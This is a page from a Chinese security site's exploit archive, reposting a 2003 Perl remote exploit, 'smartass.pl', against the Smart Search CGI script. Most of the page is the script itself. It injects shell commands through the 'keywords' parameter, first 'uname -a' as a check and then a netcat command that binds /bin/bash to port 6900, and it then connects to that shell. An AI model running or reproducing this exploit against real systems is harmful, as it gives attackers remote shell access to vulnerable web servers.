首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
smartass.pl|
来源:vittersafe.tk 作者:vitter 发布时间:2003-03-06  

Smart Search CGI remote exploit in perl which attempts to spawn netcat listening with a shell
------------------------------------------------------------
#!/usr/bin/perl -w
#
# Smart Search CGI Remote Exploit by: Knight420
#
# Greetz: echo, qubit, lkm, omega, borgon
#

use IO::Socket;
if ($#ARGV<0)
{
print "\nSmart Search CGI Remote Exploit by: Knight420";
print "\n\n Usage: perl smartass.pl ip path\n\n";
exit;
}
$elite = ("GET
$ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash|
HTTP/1.0");
$check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
print "Smart Search CGI Remote Exploit by: knight420";
print "\n*** [1] Checking if remote host is vulnerable...";
print $connect "$check";
if ($#connect<0)
{
print "\n*** [*] Remote host is not vulnerable... \n";
exit;
}
print "\n *** [2] Host is vulnerable...Sending exploit code";
print $connect "$elite";
system('nc -v $ARGV[0] 6900 ');
close($connect);



 
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·3ctftpsvc Buffer Overflow (Lon
·Internet Explorer 6.0 SP2 File
·动网上传漏洞利用工具Gui版(De
·VMware 5.5.1 COM Object Arbitr
·Guestbara <= 1.2 Change Admin
·Internet Explorer Version 6.0.
·The IIS Worker Process (w3wp)
·SPIDynamics WebInspect Cross-A
·phpwind 5.x exploits
·serv-u本地权限提升工具|
·oneSCHOOL (all versions) admin
·Macromedia Flash Player Flash.
  相关文章
·Local Exploit for a buffer ove
·linx86_sendmail.c|
·cvs_solaris_HEAP.c|
·WS_FTP FTPD "STAT"命令远程溢出
·Linux FreeBSD CVS exploit|
·RPC溢出漏洞(MS03-26)攻击代码
·IIS后门设置脚本 FOR WIN2000|
·XP图象式样让权限提升的漏洞 |
·动网上传漏洞利用工具Gui版(De
·85NIPrint.c 远程攻击程序|
·BBSXP setup.asp top function i
·EPIC4 remote client-side stack
  推荐广告
CopyRight © 2002-2009 VFocuS.Net All Rights Reserved